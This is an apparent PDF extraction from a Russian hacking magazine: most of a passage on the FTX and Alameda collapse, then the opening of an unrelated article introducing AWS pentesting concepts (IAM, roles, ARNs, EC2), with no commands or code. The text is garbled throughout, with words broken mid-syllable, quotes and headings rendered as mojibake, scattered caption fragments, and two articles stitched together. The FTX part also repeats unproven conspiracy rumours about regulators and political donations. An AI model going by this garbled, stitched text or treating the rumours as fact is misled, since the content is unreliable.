3,66 мил лиар да сос тавля ли «раз бло киро ван ные FTT» и еще 2,15 мил лиар -
да — «FTT в обес печении» (залого вые токены). Таким обра зом, ока залось, что
это самый круп ный, а так же тре тий по величи не акти вы Alameda. При этом,
если говорить о чис тых акти вах ком пании (за вычетом зай мов при мер но
на 8 мил лиар дов дол ларов), имен но токены FTT были льви ной долей акти вов.

«

»

«Óäè âèòåëü íî, íî áîëü øàÿ ÷àñòü ÷èñ òîãî êàïèòà ëà â áèç íåñå Alameda —

ýòî ñîáñ òâåí íûé, öåí òðà ëèçî âàí íî êîí òðî ëèðó åìûé è ñîç äàííûé

èç âîç äóõà òîêåí FTX», — ïèñàëî èçäà íèå.

При этом, сог ласно офи циаль ным дан ным с сай та самой FTX, в обра щении
дол жно было находить ся око ло 197 мил лионов токенов FTT на сум му при мер -
но 5,1 мил лиар да дол ларов. Фак тичес ки это озна чало, что, если что-то вдруг
про изой дет с FTT, сто имостью токенов и котиров ками, кре диты ока жут ся
ничем не обес печены и хедж-фонд Бэн кма на-Фри да очень быс тро ста нет бан -
кро том и «лоп нет».

Еще в сен тябре ана лити ки изда ния Bloomberg выража ли обес поко енность
тем, что 22% от объ ема всех депози тов и выводов средств с исполь зовани ем
циф ровых кошель ков FTX свя заны с Alameda Research и здесь может иметь
мес то кон фликт инте ресов.

Эти пуб ликации не оста лись незаме чен ными в крип тосо общес тве, а инсайд
CoinDesk и вов се широко разошел ся по про филь ным СМИ и форумам.
Котиров ки FTT начали сни жать ся, а прес са писала, что Alameda исполь зовала
для сво их опе раций не менее 10 мил лиар дов дол ларов из средств кли ентов
FTX, что поп росту про тиво закон но.

Од нако по-нас тояще му сок рушитель ный удар по FTX и Alameda через нес -
коль ко дней нанес осно ватель и гла ва Binance Чан пэн Чжао (Changpeng Zhao).

Еще в 2019 году, через шесть месяцев пос ле того, как Бэн кман-Фрид
осно вал свою бир жу, Чжао при обрел 20% акций ком паний за 100 мил лионов
дол ларов. Спус тя все го два года, в 2021 году, Бэн кман-Фрид выкупил долю
Чжао при мер но за 2 мил лиар да дол ларов в BUSD и FTT.

Чжао и Бэн кман-Фрид до начала кон флик та

Пос ле скан даль ного разоб лачения CoinDesk Чжао объ явил в Twitter, что
Binance намере на лик видиро вать все свои акти вы в FTT и будет про давать их
пос тепен но, в течение нес коль ких месяцев, что бы ока зывать минималь ное
вли яние на сос тояние рын ка.

Тог да гла ва Alameda Research Кэролайн Элли сон (Caroline Ellison) пуб лично
обра тилась к Чжао, пред ложив выкупить все токены FTT по 22 дол лара за шту -
ку, стре мясь умень шить вли яние на курс токена, одна ко гла ва Binance остался
неп рекло нен, заявив: «Мы находим ся на сво бод ном рын ке».

Па рал лель но с этим и сам Бэн кман-Фрид пытал ся раз веять все общие опа -
сения и писал, что слу хи необос нован ны, у FTX нет никаких проб лем, а обна -
родо ван ный прес сой баланс ком пании был неполон (яко бы у FTX есть
еще 10 мил лиар дов дру гих средств, а кре диты поч ти зак рыты). Одна ко это уже
не помога ло: с бир жи начал ся мас совый отток средств.

Ког да даже такой вли ятель ный человек в крип товалют ном мире, как Чжао,
уве рен в том, что какой-то актив пора про давать, боль шинс тво пос леду ет его
при меру, уве рив шись, что дей стви тель но «запах ло жареным». И кли енты FTX
бро сились спа сать свои акти вы.

Чан пэн Чжао

При этом Чжао назида тель но писал в Twitter (не называя кон крет ных имен
и наз ваний, но все всё понима ли), что никог да нель зя исполь зовать соз данный
тобой токен для залога, а так же нель зя исполь зовать заем ные средс тва в крип -
тобиз несе.

ÊÐÀÕ È ÁÀÍÊÐÎÒÑÒÂÎ

Ког да поль зовате ли запани кова ли и с FTX начал ся мас совый отток средств,
ситу ация, ско рее все го, еще не была катас тро фичес кой. Был шанс спас ти ее,
и Бэн кман-Фрид заверял общес твен ность, что у FTX прос то воз никли вре мен -
ные проб лемы с лик видностью. По слу хам, в это вре мя он отча янно пытал ся
прив лечь какое-то внеш нее финан сирова ние и даже про дать часть ком пании.

Чжао тем вре менем писал в Twitter, что все про исхо дящее — это вов се
не спла ниро ван ная акция про тив FTX, но затем вдруг неожи дан но сооб щил, что
Binance может выкупить FTX, тем самым спас ти бир жу и помочь ей пок рыть
все обя затель ства перед кли ента ми. Его сло ва поч ти сра зу под твер дил и Бэн -
кман-Фрид, сооб щив, что пред варитель ное сог лашение уже дос тигну то.

Пос ле этой новос ти все окон чатель но уве рились в том, что сама FTX уже
«не жилец», так как ско рость, с которой ком пании дос тигли сог лашения (все го
пара дней), явно сиг нализи рова ла о том, что у FTX поп росту не оста лось ино го
выбора.

Ког да еще через день Чжао так же неожи дан но объ явил о том, что сдел ки
не будет, паника началась уже не толь ко сре ди кли ентов FTX, но и на рын ках
в целом. Дело в том, что гла ва Binance «переду мал» пос ле бег лой оцен ки
финан сового сос тояния и дел FTX. Чжао заявил, что наде ялся «под держать
кли ентов FTX и обес печить лик видность», одна ко обна ружен ные проб лемы
ока зались вне зоны кон тро ля Binance, и ком пания не име ет воз можнос ти
помочь.

По хоже, Чжао поп росту не был готов вкла дывать в FTX от 4 до 8 мил лиар -
дов дол ларов. По , дефицит имен но таких раз меров
вне зап но воз ник у ком пании Бэн кма на-Фри да и имен но такие вли вания
еще мог ли спас ти бир жу от бан кротс тва. При этом жур налис ты ссы лались
на сло ва самого SBF и его телефон ный раз говор с инвесто рами, содер жание
которо го изда нию перес казал инсай дер.

ин форма ции Bloomberg

В Binance отме чали и что вынуж дены отка зать ся от помощи FTX в све те
новос тей о нецеле вом исполь зовании средств кли ентов, а так же в свя зи с воз -
можным рас сле дова нием со сто роны влас тей США.

Так как сдел ка с Binance сор валась, а дру гих жела ющих помочь почему-то
не наш лось, уже 11 нояб ря 2022 года Бэн кман-Фрид  в Twitter, что
FTX и Alameda ини циируют про цеду ру бан кротс тва в соот ветс твии со стать -
ей 11 Кодек са о бан кротс тве США. Управле ние ком пани ей при этом было
переда но опыт ному спе циалис ту по лик видаци ям Джо ну Джею Рэю III (John Jay
Ray III), который, в час тнос ти, занимал ся не менее скан даль ным бан кротс твом
ком пании Enron в начале нулевых.

со общил

В сво их сооб щени ях Бэн кман-Фрид изви нял ся перед сооб щес твом, клят -
венно обе щал все испра вить, писал, что его ком пании вов се не обя затель но
при шел конец, а парал лель но с этим рас ска зывал жур налис там, что он боль ше
не мил лиар дер.

ÂÇËÎÌ?

Од новре мен но с опи сан ными выше событи ями про изош ло и неч то стран ное:
FTX вро де бы взло мали и с бир жи про пало око ло 400 мил лионов дол ларов.
Почему «вро де бы»? Потому что ник то до сих пор точ но не понял, что имен но
про изош ло.

Все го через день пос ле подачи заяв ления о бан кротс тве в Telegram-канале
бир жи появи лось сооб щение от адми нис тра тора, который пре дуп реждал, что
FTX взло мали, все при ложе ния бир жи содер жат мал варь и их нуж но сроч но
уда лить, а сайт FTX может рас простра нять тро яны. Вско ре это сооб щение
было уда лено.

Так выг лядело сооб щение о взло ме

Вслед за этим офи циаль ный акка унт ком пании в Twitter написал, что сот рудни -
ки изу чают некие «несан кци они рован ные тран закции», исхо дящие со сче тов
FTX. Пер выми эту «утеч ку» вооб ще обна ружи ли ИБ-иссле дова тели, заметив
подоз ритель ные перево ды на сум му око ло 400 мил лионов дол ларов. Это мог -
ло быть резуль татом взло ма или кра жи. В ком пании сооб щили, что уже свя -
зались с пра воох ранитель ными и регули рующи ми орга нами, а в рам ках про -
цес са бан кротс тва оставши еся средс тва в любом слу чае выводят ся в холод ные
кошель ки.

Глав ный юрис консульт FTX Рай ан Мил лер , что ком пания рас -
сле дует ано маль ные дви жения средств, и обе щал поделить ся под робнос тями,
как толь ко они будут. Пока никаких под робнос тей не пос ледова ло.

пи сал в Twitter

По дан ным мно гих блок чейн-ана лити ков, во вре мя пред полага емо го взло -
ма раз личные токены Ethereum, а так же токены Solana и Binance Smart Chain
покину ли офи циаль ные кошель ки FTX и перемес тились на децен тра лизо ван -
ные бир жи (нап ример, 1inch). В час тнос ти, , что Tether заб локиро -
вала 31,4 мил лиона USDT, при над лежащих FTX (3,9 мил лиона USDT в сети
Avalanche и 27,5 мил лиона USDT на блок чей не Solana).

пи сали

Так же сооб щалось, что неиз вес тные исполь зовали для вывода и бир жу
Kraken. Пос ле это го гла ва безопас ности Kraken Ник Пер коко (Nick Percoco) 

, что спе циалис там служ бы безопас ности извес тна лич ность это го поль -
зовате ля, но дру гих под робнос тей вновь не пос ледова ло.

за -
явил

Не дав но неиз вес тный похити тель перевел Ethereum на сум му свы -
ше 200 мил лионов дол ларов на  и, веро ятно, готовит -
ся к про даже акти вов.

12 раз личных кошель ков

Кем был этот загадоч ный хакер, до сих пор неяс но, а в сети полага ют, что
про изо шед ший «взлом» на самом деле мог быть обыч ной работой инсай дера
из чис ла приб лижен ных Бэн кма на-Фри да.

ÍÅÊÎÌÏÅÒÅÍÒÍÎÑÒÜ È ÍÀÐÓØÅÍÈß

Те перь, ког да скан дал вок руг FTX и Alameda стал одной из самых обсужда емых
тем в соци аль ных сетях и СМИ, начали рас кры вать ся безум ные под робнос ти
того, как имен но вели дела ком пании Бэн кма на-Фри да. Некото рые детали
выг лядят нас толь ко стран но, что в их реаль ность труд но поверить.

В час тнос ти, свет на «внут реннюю кух ню» бир жи про лил отчет Джо на Джея
Рэя III, опуб ликован ный вско ре пос ле того, как кри зис ный спе циалист взял ся
за дело FTX. В заяв лении, которое новый гла ва подал в федераль ный суд
Делавэ ра по делам о бан кротс тве, слу чай FTX опи сыва ется как «худ ший при -
мер кор поратив ного кра ха», с которым эксперт имел дело за всю свою 40-лет -
нюю карь еру.

Сог ласно это му докумен ту, FTX регуляр но зло упот ребля ла средс тва ми кли -
ентов, поп росту не име ла никаких дос товер ных финан совых отче тов, а так же
хоть какого-то реаль ного внут ренне го кон тро ля. В заяв лении под черки вает ся,
что в делах бир жи царили абсо лют ный хаос и бес хозяй ствен ность.

«

»

«Íè ðàçó â ñâî åé êàðü åðå ÿ íå âèäåë íàñ òîëü êî ïîë íîãî ïðî âàëà

â îáëàñòè êîð ïîðàòèâ íîãî êîí òðî ëÿ è íàñ òîëü êî ïîë íîãî îòñóòñ òâèÿ

äîñ òîâåð íîé ôèíàí ñîâîé èíôîðìà öèè, êàê çäåñü», — ïèøåò Äæîí Äæåé

Ðýé III.

Так же он утвер жда ет, что в FTX International, FTX US и Alameda Research была
«ском про мети рова на целость сис тем», а весь кон троль сос редота чивал ся
в руках «неболь шой груп пы неопыт ных, неис кушен ных и потен циаль но ском -
про мети рован ных лиц».

Фак тичес ки документ объ ясня ет, что FTX вооб ще не вела бух галтер ские
кни ги, не кон тро лиро вала безопас ность циф ровых акти вов сво их кли ентов
и исполь зовала прог рам мное обес печение для «сок рытия нецеле вого исполь -
зования средств кли ентов». Джон Джей Рэй III добав ляет, что FTX исполь зовала
«незащи щен ный груп повой акка унт элек трон ной поч ты» для управле ния клю -
чами безопас ности сво их циф ровых акти вов.

Так же выяс нилось, что у FTX поп росту отсутс тво вал «точ ный спи сок» собс -
твен ных бан ков ских сче тов и даже спи сок сот рудни ков, работав ших в ком -
пании. Так как попыт ки най ти некото рых сот рудни ков для под твержде ния их
ста туса вооб ще не увен чались успе хом, пред полага ется, что их не сущес тво -
вало вов се.

Что каса ется Alameda, в заяв лении ска зано, что ком пания «не име ла бух -
галтер ско го отде ла и переда ла эту фун кцию на аут сорсинг».

К тому же пред варитель ный аудит показал, что средс тва ком пании регуляр -
но рас ходова лись на «покуп ку домов [на Багамах на свои име на] и дру гих лич -
ных вещей» для сот рудни ков и кон суль тан тов (ведь никако го кон тро ля рас -
ходов не было), а пла тежи утвер жда лись с помощью «пер сонали зиро ван ных
эмод зи» в онлайн-чатах.

Дру гими сло вами, вер нуть эти дома будет прак тичес ки невоз можно, ведь
они не при над лежат ком пании, а записи об этих тран закци ях отсутс тву ют.
Напом ню, что на Багам ских остро вах находи лась штаб-квар тира FTX.

Ис поль зование чатов и мес сен дже ров Джон Джей Рэй III в целом называ ет
«одной из самых час тых оши бок» FTX, так как из-за это го фак тичес ки отсутс -
тву ет хоть какая-то докумен тация и записи о при нятии решений. Дело в том,
что сам Бэн кман-Фрид час то исполь зовал мес сен дже ры с фун кци ей авто мати -
чес кого уда ления сооб щений и «активно при зывал сот рудни ков пос тупать так
же».

По информа ции Reuters, мас шта бы хаоса, обна ружен ного спе циалис тами
по лик видации, дей стви тель но поража ют вооб ражение. Так, за пос ледние два
года родите ли Бэн кма на-Фри да и руково дите ли обан кро тив шей ся бир жи при -
обре ли не менее 19 объ ектов нед вижимос ти на Багамах на сум му поч -
ти 121 мил лион дол ларов. Так же одно из под разде лений FTX пот ратило
еще 300 мил лионов дол ларов на покуп ку домов и нед вижимос ти на Багамах
для отды ха сво его руково дяще го сос тава.

Боль шинс тво покупок FTX, отоб ражен ные в докумен тах, с которы ми озна -
коми лись жур налис ты, были рос кошны ми домами на берегу моря, вклю чая
семь кон домини умов в дорогом курор тном поселе нии, сто имостью поч -
ти 72 мил лиона дол ларов. Докумен ты показы вают, что эта нед вижимость, куп -
ленная под разде лени ем FTX, дол жна была исполь зовать ся в качес тве «жилья
для клю чево го пер сонала» ком пании. Reuters не уда лось уста новить, кто фак -
тичес ки про живал в этих квар тирах.

Жур налис ты изда ния CoinDesk и вов се писали, что, по сло вам ано ним ного
источни ка, всем биз несом, по сути, «управля ла куч ка детей на Багамах», а Бэн -
кман-Фрид жил вмес те со сво им бли жай шим окру жени ем в шикар ном пен тха -
усе. При этом все десять человек находи лись в запутан ных роман тичес ких
отно шени ях друг с дру гом.

Продолжение статьи →

mailto:nefedova@glc.ru
https://www.forbes.com/profile/sam-bankman-fried/
https://www.coindesk.com/business/2022/11/02/divisions-in-sam-bankman-frieds-crypto-empire-blur-on-his-trading-titan-alamedas-balance-sheet/
https://www.bloomberg.com/news/articles/2022-11-10/sam-bankman-fried-s-ftx-faces-8-billion-shortfall-possible-bankruptcy
https://twitter.com/SBF_FTX/status/1591089317300293636
https://twitter.com/_Ryne_Miller/status/1591281729125613570
https://twitter.com/zachxbt/status/1591317701233807360
https://twitter.com/c7five/status/1591434844760076290
https://etherscan.io/txs?a=0x59abf3837fa962d6853b4cc0a19513aa031fd32b


КРАХ FTX
КАК ПОШЛА НА ДНО ВТОРАЯ ПО ВЕЛИЧИНЕ

КРИПТОБИРЖА В МИРЕ

HEADER  НАЧАЛО СТАТЬИ←

ÒÅÎÐÈÈ ÇÀÃÎÂÎÐÀ

Еще один инте рес ный при мер отсутс твия ком петен ции у FTX — наз начение
уже упо минав шей ся Кэролайн Элли сон на дол жность гла вы Alameda
в 2021 году. Имен но эта 28-лет няя девуш ка, которую ты видишь на фото, воз -
глав ляла ком панию и управля ла мил лиар дны ми акти вами кли ентов, а так же
была вклю чена в спи сок Forbes «30 до 30».

Эл лисон на интервью

О ней извес тно нем ногое: любит Гар ри Пот тера, ролев ки и матема тику.
Кэролайн — дочь Глен на Элли сона, который в нас тоящее вре мя воз глав ляет
эко номи чес кий факуль тет Мас сачусет ско го тех нологи чес кого инсти тута,
и Сары Фишер Элли сон, которая пре пода ет там же, на эко номи чес ком
факуль тете.

За то пос ле кра ха FTX по сети широко  , в которых
Элли сон, сме ясь, рас ска зыва ет о том, что в биз несе нуж но боль ше рис ковать
(и поэто му у ком пании нет стоп-лос сов), а так же о том, что ей уже при ходи лось
терять «кучи денег». К сожале нию, теперь все это уже не выг лядит шут кой.

рас простра нились ви део

Нуж но ска зать, что до Alameda Элли сон не име ла никаких карь ерных зас луг
и тоже ста жиро валась в ком пании Jane Street Capital, куда пос ле уче бы устро -
ился Бэн кман-Фрид. Офи циаль ная вер сия гла сит, что они поз накоми лись
имен но там. На самом деле мно гие сот рудни ки FTX и Alameda — это быв шие
сот рудни ки Jane Street или сокур сни ки Бэн кма на-Фри да из его аль ма-матер,
Мас сачусет ско го тех нологи чес кого инсти тута.

Од нако здесь нель зя не упо мянуть дру гой инте рес ный факт: дело в том,
что отец Кэролайн, Гленн Элли сон, пре пода ет в МТИ дав но, и он учил в том
чис ле и Бэн кма на-Фри да. Так же в то вре мя в МТИ пре пода вал нынеш ний
пред седатель Комис сии по цен ным бумагам и бир жам США (SEC) Гэри Ген -
слер, началь ником и дру гом которо го был Элли сон.

Та кую инте рес ную схе му вза имоот ношений меж ду перечис ленны ми
лицами опуб ликовал в Twitter Илон Маск

Так же извес тно, что у Бэн кма на-Фри да и Элли сон были роман тичес кие отно -
шения. Из-за это го сей час ходит мно го теорий о том, как и почему Кэролайн
Элли сон воз гла вила Alameda, а сама девуш ка не дает ком мента риев, хра нит
мол чание в сети, и о ее мес тонахож дении ничего не извес тно (сог ласно слу -
хам, она намере на бежать в Дубай, где нет экс тра диции в США).

Бэн кма на-Фри да и нынеш него гла ву SEC свя зыва ло ста рое зна комс тво,
а гла ва FTX неод нократ но посещал Белый дом, где активно лоб бировал нор -
матив но-пра вовую базу для крип товалю ты. Теперь у мно гих воз ника ют воп -
росы о том, не был ли Гэри Ген слер в кур се про исхо дяще го в FTX и Alameda
и не зак рывал ли гла за на наруше ния намерен но.

К тому же Бэн кман-Фрид никог да не скры вал того, что в пос ледние годы
явля ется одним из самых круп ных жер тво вате лей Демок ратичес кой пар тии
США, усту пая лишь мил лиар деру Джор джу Соросу. К при меру, извес тно, что
в 2020 году он выделил на пред выбор ную кам панию Джо Бай дена и дру гим
кан дидатам от демок ратов 5 мил лионов дол ларов, а в 2024 году собирал ся
пот ратить мил лиард на полити чес кие пожер тво вания. В целом, сог ласно 

 неком мерчес кой орга низа ции OpenSecrets, Бэн кман-Фрид вло жил
в полити чес кую борь бу более 46 мил лионов дол ларов.

дан -
ным

О свя зях Бэн кма на-Фри да с демок ратами теперь пишет даже Илон Маск,
который отме чает, что никаких рас сле дова ний в отно шении FTX не будет
имен но по этой при чине.

Еще одна популяр ная теперь теория загово ра свя зана с тем, что пос ле начала
спе циаль ной воен ной опе рации на Укра ине FTX запус тила фонд, который
собира ет пожер тво вания для укра инской сто роны. Эта плат форма дол жна
была переда вать соб ранную крип товалю ту FTX, которая кон верти рова ла бы ее
в фиат, а затем переда вала бы в Наци ональ ный банк Укра ины. Как теперь
полага ют в сети, вмес то это го соб ранные средс тва (око ло мил лиар да дол -
ларов) мог ли осесть где-то в нед рах Демок ратичес кой пар тии США. Укра -
инское пра витель ство и Демок ратичес кая пар тия эти слу хи, разуме ется, отри -
цают.

ÏÎÑËÅÄÑÒÂÈß. ÝÔÔÅÊÒ ÄÎÌÈÍÎ

Сей час, ког да ты чита ешь эту статью, FTX, еще недав но оце нивав шаяся
в 32 мил лиар да дол ларов, прек ратила свое сущес тво вание, FTT без надеж но
обес ценил ся, а Сэму Бэн кма ну-Фри ду, впол не веро ятно, может гро зить
тюрем ное зак лючение.

Об вал FTT

В США уже начал ся судеб ный про цесс по делу о бан кротс тве, где новое
руководс тво бир жи (вмес те с арми ей юрис тов) пыта ется разоб рать ся в неп -
ростых делах ком паний Бэн кма на-Фри да, ведь в общей слож ности речь идет
при мер но о 130 аффи лиро ван ных юрли цах. По дан ным кри зис ных управля -
ющих, немалая часть акти вов бир жи была укра дена либо про пала, а количес тво
кре дито ров FTX может пре вышать мил лион.

Здесь нуж но ска зать, что про тив осно вате ля FTX и ряда зна мени тос тей,
которые содей ство вали прод вижению брен да, уже выд винут кол лектив ный иск
от аме рикан ских инвесто ров, которые тре буют воз мещения ущер ба на общую
сум му 11 мил лиар дов дол ларов. И вряд ли этот иск будет единс твен ным.

Кро ме того, по дан ным СМИ, сей час к Бэн кма ну-Фри ду прис таль но прис -
матри вают ся аме рикан ские влас ти и они уже обсужда ли с пра воох ранитель -
ными орга нами Багам ских остро вов воз можность тран спор тиров ки осно вате ля
FTX в США для доп роса. Недав но  изда нием Fortune юрис ты сош -
лись во мне нии, что сей час у Минис терс тва юсти ции США и Комис сии по цен -
ным бумагам и бир жам есть все необ ходимое для воз бужде ния уго лов ного
дела в отно шении быв шего гла вы FTX и дру гих топ-менед жеров рух нувшей
бир жи.

оп рошен ные

Кста ти, где сей час находит ся Сэм Бэн кман-Фрид, неиз вес тно. В интервью
он отка зыва ется рас кры вать свое мес тонахож дение, но пред полага ется, что он
не покинул Багамы, хотя мно гие топ-менед жеры ком пании пред почли релока -
цию в Гон конг.

Од нако пос ледс твия слу чив шегося нас тигли не толь ко ком пании Бэн кма -
на-Фри да и его сот рудни ков, но и весь рынок в целом. Так, на фоне про исхо -
дяще го рез ко упа ли котиров ки прак тичес ки всех крип товалют, был зафик -
сирован рекор дный отток с балан сов бирж на холод ные кошель ки крип товалют
в целом и бит коинов в час тнос ти (еже месяч ный темп оце нива ется в 106 000
BTC).

Как еще в самом начале это го кри зиса писал Чан пэн Чжао: крах FTX нель зя
счи тать «победой» хоть для кого-то, так как про изо шед шее «серь езно пошат -
нуло» доверие к крип тоин дус трии во всем мире, регуля торы теперь ста нут
про верять бир жи гораз до тща тель нее, а отно шение к крип товалю там изме нит -
ся в худ шую стро ну. Чжао даже срав нил про исхо дящее с финан совым кри -
зисом 2008 года.

В ито ге Binance соз дала спе циаль ный фонд для вос ста нов ления Web3-
индус трии (Industry Recovery Initiative), который дол жен ста били зиро вать ситу -
ацию, и уже внес ла в него мил лиард дол ларов. Фонд будет открыт
для инвесто ров и про сущес тву ет око ло полуго да, за которые общая сум ма
дол жна уве личить ся до 2 мил лиар дов дол ларов. С ана логич ной ини циати вой
выс тупила бир жа OKX. Круп ные игро ки сооб щают, что стре мят ся помочь сто -
ящим крип топро ектам, которые испы тыва ют кри зис лик виднос ти.

Кро ме того, теперь руководс тва прак тичес ки всех круп ных крип товалют ных
бирж (вновь начиная с Binance, которая задала и этот тренд) стре мят ся к пол -
ной проз рачнос ти, и ком пании будут регуляр но под тверждать свои резер вы.
Соот ветс тву ющую информа цию уже обя зались пуб ликовать Binance, OKX,
Gate.io, Huobi, KuCoin и дру гие.

Дан ные о резер вах бир жи теперь мож но уви деть пря мо на сай те
CoinMarketCap

Од нако вер немся к судеб ным докумен там, подан ным в суд в свя зи с бан -
кротс твом ком паний Бэн кма на-Фри да. Из бумаг сле дует, что у Alameda
Research нас читыва лось более 100 тысяч кре дито ров и в целом акти вы и обя -
затель ства ком пании оце нива ются в сум му от 10 до 50 мил лиар дов дол ларов.

Вы дер жка из судеб ной докумен тации

Вни матель ные читате ли пом нят, что в начале этой статьи упо минал ся
обширный инвести цион ный пор тфель Alameda. Как мож но заметить
на инфогра фике ниже, сос тавлен ной ана лити ками The Block, пор тфо лио ком -
паний Бэн кма на-Фри да дей стви тель но было огромным. Теперь из-за кра ха
FTX и Alameda у мно гих этих и свя зан ных про ектов воз никли серь езные проб -
лемы, а на рын ке опа сают ся эффекта домино, ког да кол лапс одних ком паний
потянет за собой дру гие.

Об ширное пор тфо лио ком паний Бэн кма на-Фри да

В час тнос ти, о проб лемах сооб щила плат форма BlockFi, прек ратив шая вывод
кли ент ских средств на фоне про изо шед шего с FTX. По дан ным Wall Street
Journal, ком пания уже готовит заяв ление о бан кротс тве по статье 11 Кодек са
о бан кротс тве США. Дру гой при мер: круп ней шая OTC-плат форма Genesis
Global Trading, которая при оста нови ла крип толен динго вые опе рации и пыта -
ется экс трен но прив лечь допол нитель ное финан сирова ние (пока безус пешно).
Так же проб лемы наб люда ются у лен динго вой плат формы Salt, авс тра лий ской
крип товалют ной бир жи Digital Surge и дру гих.

К сожале нию, мно гие ана лити ки и экспер ты полага ют, что все это лишь вер -
хушка айсбер га и нас тоящая крип тозима, которая «очис тит рынок», еще ждет
нас впе реди. Пока же доверие поль зовате лей и инвесто ров подор вано, инте -
рес к крип тоин дус трии со сто роны регуля торов сущес твен но воз рос, а сто -
имость Bitcoin на этом фоне опус тилась до 16 тысяч дол ларов (то есть до уров -
ней 2020 года).

В пись ме, которое Бэн кман-Фрид опуб ликовал в кор поратив ном Slack пос -
ле ухо да с пос та CEO, он писал, что «глу боко сожале ет» о слу чив шемся.

«

»

«ß íå õîòåë, ÷òî áû âñå ýòî ïðî èçîø ëî, è îòäàë áû âñå, ÷òî áû èìåòü

âîç ìîæíîñòü âåð íóòü ñÿ íàçàä è âñå èñïðà âèòü. Âû áûëè ìîåé ñåìü -

åé, — ãëà ñèëî ïèñü ìî. — ß ïîòåðÿë âñå, à íàø ñòà ðûé äîì ïðåâ ðàòèë ñÿ

â ïóñ òîé ñêëàä ìîíèòî ðîâ. Êîã äà ÿ îãëÿ äûâà þñü ïî ñòî ðîíàì, ìíå äàæå

íå ñ êåì ïîãîâî ðèòü».

Так же Бэн кман-Фрид при нес мно гочис ленные изви нения всем, кто пос тра дал
от кра ха FTX, в сво ем Twitter. Он писал, что «обла жал ся», а так же приз навал, что
вооб ще не знал, нас коль ко круп ными были мар жиналь ные позиции ком пании
и рис ки (и отме чал, что сле дова ло уде лять управле нию бир жей боль ше вни -
мания).

Тем не менее Бэн кман-Фрид не теря ет надеж ды выб рать ся из этой перед -
ряги. Он пообе щал дать боль шое интервью изда нию New York Times в бли жай -
шем будущем, а в пись ме быв шим сот рудни кам FTX, которое про сочи лось
в прес су, и вов се написал, что до сих пор наде ется най ти потен циаль ных
инвесто ров, которые мог ли бы помочь FTX испра вить ситу ацию и вер нуть
средс тва поль зовате лям.

https://twitter.com/MilkRoadDaily/status/1591137605613408256
https://twitter.com/HowieBTC/status/1590905563692806144
https://docs.google.com/spreadsheets/d/13Wq2kPw3C4X_50Tqc8H9mMrNynuwTlURDX1QWT3T_ck/edit#gid=550801249
https://fortune.com/crypto/2022/11/13/could-sam-bankman-fried-go-to-prison-for-the-ftx-disaster/
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Об лака — это, как извес тно, не толь ко
белог ривые лошад ки, но и прек расный
инс тру мент, что бы соз дать удоб ную
инфраструк туру для при ложе ний и сер -
висов. Ком пании и незави симые раз -
работ чики перено сят свои про екты в AWS
или Azure, час то не задумы ваясь
о безопас ности. А зря. Будут ли эти дан -
ные недос тупны для хакеров, смо жет ли
обла ко гаран тировать защиту? Давай раз -
бирать ся.

Сна чала рас смот рим «базу» — перечис ление и повыше ние при виле гий в IAM
и EC2. В даль нейшем мы научим ся зак реплять ся в этих сер висах, оку нем ся
в вол шебс тво Lambda и SecretManager, най дем пароль в S3, выберем ся
из кон тей нера, вытащим дан ные из EBS, RDS и даже проб росим ся в дру гой
VPC!

ÒÅÎÐÈß

Amazon Web Services — облачное решение, пре дос тавля ющее сво им кли ентам
мно жес тво полез ных сер висов. Их мож но раз делить на три типа.

IAS (infrastructure as a service) — к этой катего рии отно сит ся толь ко сер вис
Virtual Private Cloud, который дает воз можность поль зовате лю соз давать
при ват ные изо лиро ван ные сети пря мо в обла ке.

•

PAS (platform as a service) поз воля ет арен довать один вир туаль ный сер вер
(инстанс).

•

SAS (software as a service) — пре дос тавле ние ПО и услуг.•

ÑÅÐÂÈÑÛ

Identity and access management (IAM) — один из осно вопо лага ющих сер висов
облачной инфраструк туры Amazon. Он поз воля ет управлять дос тупом к ресур -
сам AWS. Адми нис три руют поль зовате лей, груп пы, роли и их дос туп имен но
здесь. Струк тура это го сер виса показа на на сле дующей иллюс тра ции.

Струк тура identity and access management

Ïîëèòèêà

По лити ка содер жит информа цию о том, что может делать поль зователь, а что
нет, какие у него име ются пра ва. Полити ку мож но при менять к груп пам, поль -
зовате лям или ролям. Нап ример, если полити ка раз реша ет дей ствие ,
то поль зователь с такой полити кой может получить информа цию о дру гих поль -
зовате лях.

GetUser

Внут ри полити ки — три важ ных ком понен та:
1. Effect — исполь зует ся для пре дос тавле ния дос тупа или отка за в нем.
2. Action — вклю чает спи сок дей ствий, которые полити ка раз реша ет или зап -

реща ет.
3. Resource — спи сок ресур сов, к которым при меня ется полити ка.

Ïîëüçîâàòåëü

Поль зователь IAM — сущ ность, которая соз дает ся в AWS для пред став ления
исполь зующе го его челове ка либо при ложе ния. У поль зовате лей есть так
называ емое User ARN (Amazon resource name), выг лядит оно сле дующим обра -
зом:

arn:partition:service:region:account:resource

где
 — иден тифика тор стро ки;• arn

 иден тифици рует раз дел для ресур са. Для стан дар тных реги -
онов AWS исполь зует ся раз дел . Для Пекина, допус тим, будет ;

• partition

aws aws-cn

 иден тифици рует про дукт AWS. Ресур сы IAM всег да исполь зуют
;

• service

iam

 опре деля ет реги он ресур са. Для ресур сов IAM это поле всег да
оста ется пус тым;

• region

 ука зыва ет иден тифика тор учет ной записи AWS без дефисов;• account

 иден тифици рует кон крет ный ресурс по име ни.• resource

Вот некото рые при меры ARN:

arn:aws:iam::123456789012:root
arn:aws:iam::123456789012:user/JohnDoe
arn:aws:iam::123456789012:user/division_abc/subdivision_xyz/
JaneDoe
arn:aws:iam::123456789012:group/Developers
arn:aws:iam::123456789012:group/division_abc/subdivision_xyz/
product_A/Developers
arn:aws:iam::123456789012:role/S3Access

Ãðóïïà

Груп па IAM — это совокуп ность поль зовате лей. Груп пы облегча ют управле ние
ими. Груп па может содер жать мно жес тво поль зовате лей, а поль зователь
может при над лежать к нес коль ким груп пам. Кро ме того, груп пы не могут быть
вло жен ными: они дол жны содер жать толь ко поль зовате лей, но не дру гие груп -
пы.

Ðîëü

Роль IAM — это сущ ность, которая опре деля ет набор раз решений для выпол -
нения зап росов к сер висам AWS. Исполь зование ролей — безопас ный спо соб
пре дос тавить раз решения опре делен ным объ ектам. Так, пен тестер может
поп робовать взять на себя опре делен ную роль, если у него есть на это пра ва,
и получить при виле гии этой роли.

Ро ли соз дают ся для того, что бы не приш лось регис три ровать допол нитель -
ную учет ную запись ради каких-нибудь авто мати чес ких задач. Роль зачас тую
при вязы вает ся к какому-либо сер вису.

EC2

Он же Elastic Compute Cloud. Это вир туаль ный сер вер (инстанс), на котором
поль зователь может запус кать любые при ложе ния, что бы решать собс твен ные
задачи. Инстанс сос тоит из сле дующих ком понен тов.

